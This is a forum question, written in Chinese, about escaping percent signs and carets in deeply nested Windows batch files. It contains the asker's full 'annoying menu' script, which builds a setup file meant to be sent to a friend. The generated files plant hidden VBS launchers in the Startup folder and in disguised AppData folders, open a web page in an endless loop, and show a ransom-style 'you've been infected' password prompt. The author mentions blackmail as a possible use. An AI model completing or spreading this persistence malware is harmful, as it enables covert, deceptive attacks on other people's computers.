我正在尝试制作一个批处理文件,该文件创建一个安装文件。然后,该安装文件将创建一个批处理文件,该批处理文件创建一个将创建另一个批处理文件的批处理。在此之前,创建批处理文件和创建批处理文件相当简单。在此之前,它只是添加更多的“%”或更多的“ ^”以使其将百分比值等转移到下一个批处理文件中。但似乎我达到了ex的上限。 %%%% random %%%%这似乎是上限,无论我添加多少“%”或“ ^”。那我有什么可以做的吗? (顺便说一句,该脚本还远远没有完成。因此会有一些空白处尚未被放入)
这是整个脚本:(我在这个问题上用“#”标记了一个示例)
@echo off
title annoying menu 2.0
mode 150
set /a pas=%pas%+1111
set /a cpas=%cpas%+0
:start
set /a bpas=%bpas%-%bpas%
set /a bpas=%bpas%+%random%*%random%-%random%
set /a dpas=%dpas%-%dpas%
set /a dpas=%dpas%+%random%*%random%-%random%
cls
echo Welcome to annoying menu 2.0
echo This menu is an improved menu of the original annoying menu.
echo Before you create the setup file, please set a custom password.
echo If no custom password is set the default password will be 1111
echo The current password is set to: %pas%
echo This menu's intended purpose is to prank your friends and NOT intended for the use of blackmailing.
echo If you intend to use this menu for blackmailing purposes, it'll be on your own risk.
echo This menu was developed by Gabriel Thorngaard Koralage.
echo To use this menu follow the simple steps below:
echo Step 1. Press 1 and hit (ENTER)
echo Step 2. Enter a custom code and hit (ENTER)
echo Step 3. Test the custom password by pressing 2 and hitting (ENTER)
echo Step 4. Press 3 and hit (ENTER) to create the setup file
echo Step 5. Send the setup file to the friend you want to prank
echo Step 6. Once they open the file, the prank will begin
echo.
echo Press 1 to set a password
echo Press 2 to test custom password
echo Press 3 to create the setup file
echo Press 4 to quick reset password
echo Press 5 to exit the menu
echo.
echo CPAS = %cpas%
echo.
set /p opt= Option:
if %opt%==1 goto Setpas
if %opt%==2 goto Pastest
if %opt%==3 goto Createsetup
if %opt%==4 goto Pasres
cls
echo Please enter a valid number to continue
echo.
pause
goto start
:Setpas
cls
echo Type in a custom password
echo Please do only use numbers.
echo.
set /p pas= Set Password:
set /a cpas=%cpas%-%cpas%
cls
echo The new password is set to %pas%
echo.
pause
goto start
:Pastest
cls
echo Please type your custom password
echo Type "Exit" to go back to the main menu
echo Tyoe "Newpass" to set a new password
echo.
set /p tpas= Custom Password:
if %tpas%==%pas% goto testcomplete
if %tpas%==Newpass goto Setpas
if %tpas%==newpass goto Setpas
if %tpas%==Exit goto start
if %tpas%==exit goto start
cls
echo It dosen't seem like the password you typed in, and the custom password matched...
echo Please try again, or set a new password by typing: Newpass
echo.
pause
goto Pastest
:testcomplete
cls
echo The password you typed and the custom password matches
echo.
pause
if %cpas%==1 goto start
set /a cpas=%cpas%+1
goto start
:Createsetup
if %pas%==1111 goto SetupFailCustom
if %cpas%==0 goto SetupFailTest
set /a pas=%pas%+%bpas%+%dpas%
cls
echo Setup file is being created...
echo.
cd %Systemdrive%\Users\%Username%\Desktop
(
echo @echo off
echo title setup
echo mode 150
echo set /a pas=%%pas%%+%pas%
echo set /a bpas=%%bpas%%+%bpas%
echo set /a dpas=%%dpas%%+%dpas%
echo cd %%Systemdrive%%\Users\%%Username%%\Desktop
echo ^(
echo echo @echo off
echo echo title Gnome Killer
echo echo mode 150
echo echo set /a pas=%%%%pas%%%%+%%pas%%
echo echo set /a bpas=%%%%bpas%%%%+%%bpas%%
echo echo set /a dpas=%%%%dpas%%%%+%%dpas%%
echo echo goto start
echo echo :start
echo echo cls
echo echo echo It seems you've been infected by annoying menu!
echo echo echo To stop the gnome type in the password set by the person who send you the setup file
echo echo echo Once typed in the gnome will stop, and all annoying menu files deleted
echo echo echo It does not help to restart your PC so don't try it, you'll simply waste your time
echo echo echo once ready type in the password and hit ^^^(ENTER^^^)
echo echo echo.
echo echo set /a pasc=%%%%pasc%%%%+%%%%pas%%%%-%%%%bpas%%%%-%%%%dpas%%%%
echo echo set /p upas= Password:
echo echo if %%%%upas%%%%==%%%%pasc%%%% goto confirmed
echo echo cls
echo echo echo It seems like the password you've typed in was incorrect, please try again.
echo echo echo.
echo echo pause
echo echo goto start
echo echo :confirmed
echo echo cls
echo echo echo it worked!
echo echo echo.
echo echo pause
echo ^) ^> Killer.bat
echo ^(
echo echo @echo off
echo echo title backup1
echo echo mode 150
echo echo set /a loop=%%%%loop%%%%-1
echo echo :start
echo echo set /a loop=%%%%loop%%%%+1
echo echo if not %%%%loop%%%%==0 echo Loop number: %%%%loop%%%%
echo echo ping localhost -n 0 ^^^>nul
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
echo echo IF EXIST "WinStart.vbs" ^^^(
echo echo goto Continue
echo echo ^^^) ELSE ^^^(
echo echo goto CreateWinStart
echo echo ^^^)
echo echo :CreateWinStart
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
echo echo ^^^(
echo echo echo Set WshShell = CreateObject^^^("WScript.Shell"^^^)
echo echo echo WshShell.Run chr^^^(34^^^) ^^^& "%systemdrive%\Users\%Username%\AppData\Roaming\Microsoft\Vault\Runner.bat" ^^^& Chr^^^(34^^^), 0
echo echo echo Set WshShell = Nothing
echo echo ^^^) ^^^> WinStart.vbs
echo echo :Continue
echo echo cd %%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Vault
echo echo IF EXIST "Runner.bat" ^^^(
echo echo goto Continue2
echo echo ^^^) ELSE ^^^(
echo echo goto CreateRunner
echo echo ^^^)
echo echo :CreateRunner ########################################################## THIS RUNNER SCRIPT IS ONE EXAMPLE OF THE ISSUE
echo echo cd %%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Vault
echo echo ^^^(
echo echo echo @echo off
echo echo echo title runner
echo echo echo mode 150
echo echo echo :start
echo echo echo ping localhost -n 10 ^^^>nul
echo echo echo start https://www.youtube.com/watch?v=6n3pFFPSlW4
echo echo echo goto start
echo echo ^^^) ^^^> Runner.bat
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
echo echo (NOT COMPLETE)
echo echo :Continue2
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Themes
echo echo IF EXIST "Backup1Starter.vbs" ^^^(
echo echo goto Continue3
echo echo ^^^) ELSE ^^^(
echo echo goto CreateBackup1Starter
echo echo ^^^)
echo echo :CreateBackup1Starter
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Themes
echo echo ^^^(
echo echo echo Set WshShell = CreateObject^^^("WScript.Shell"^^^)
echo echo echo WshShell.Run chr^^^(34^^^) ^^^& "%%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Network Shortcuts\Backup1.bat" ^^^& Chr^^^(34^^^), 0
echo echo echo Set WshShell = Nothing
echo echo ^^^) ^^^> Backup1starter.vbs
echo echo :Continue3
echo echo cd %%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Vault
echo echo IF EXIST "Backup2.bat" ^^^(
echo echo goto Continue4
echo echo ^^^) ELSE ^^^(
echo echo goto CreateBackup2
echo echo ^^^)
echo echo :CreateBackup2
echo echo :Continue4
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\AppData\Local\Microsoft\Windows\Shell
echo echo IF EXIST "Backup2Starter.vbs" ^^^(
echo echo goto Continue5
echo echo ^^^) ELSE ^^^(
echo echo goto CreateBackup2Starter
echo echo ^^^)
echo echo :CreateBackup2Starter
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\AppData\Local\Microsoft\Windows\Shell
echo echo ^^^(
echo echo echo Set WshShell = CreateObject^^^("WScript.Shell"^^^)
echo echo echo WshShell.Run chr^^^(34^^^) ^^^& "%%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\LocalLow\Microsoft\Windows" ^^^& Chr^^^(34^^^), 0
echo echo echo Set WshShell = Nothing
echo echo ^^^) ^^^> Backup2Starter.vbs
echo echo :Continue5
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\Desktop
echo echo ^^^(
echo echo echo @echo off
echo echo echo title Gnome Killer
echo echo echo mode 150
echo echo echo set /a pas=%%%%pas%%%%+%%pas%%
echo echo echo set /a bpas=%%%%bpas%%%%+%%bpas%%
echo echo echo set /a dpas=%%%%dpas%%%%+%%dpas%%
echo echo echo goto start
echo echo echo :start
echo echo echo cls
echo echo echo echo It seems you've been infected by annoying menu!
echo echo echo echo To stop the gnome type in the password set by the person who send you the setup file
echo echo echo echo Once typed in the gnome will stop, and all annoying menu files deleted
echo echo echo echo It does not help to restart your PC so don't try it, you'll simply waste your time
echo echo echo echo once ready type in the password and hit ^^^(ENTER^^^)
echo echo echo echo.
echo echo echo set /a pasc=%%%%pasc%%%%+%%%%pas%%%%-%%%%bpas%%%%-%%%%dpas%%%%
echo echo echo set /p upas= Password:
echo echo echo if %%%%upas%%%%==%%%%pasc%%%% goto confirmed
echo echo echo cls
echo echo echo echo It seems like the password you've typed in was incorrect, please try again.
echo echo echo echo.
echo echo echo pause
echo echo echo goto start
echo echo echo :confirmed
echo echo echo cls
echo echo echo echo it worked!
echo echo echo echo.
echo echo echo pause
echo echo ^^^) ^^^> Killer.bat
echo ^) ^> Backup1.bat
) > Setup.bat
goto end
ping localhost -n 0 >nul
echo STATUS:
echo.
echo Setup File Created and ready to be exported
echo The menu will close automatically in 5 seconds
ping localhost -n 0 >nul
goto end
:SetupFailCustom
cls
echo Please create a custom password to create the setup file
echo.
pause
goto start
:SetupFailtest
cls
echo Please test your custom password before creating the setup file
echo.
pause
goto start
:Pasres
set /a pas=%pas%-%pas%
set /a pas=%pas%+1111
set /a cpas=%cpas%-%cpas%
goto start
:end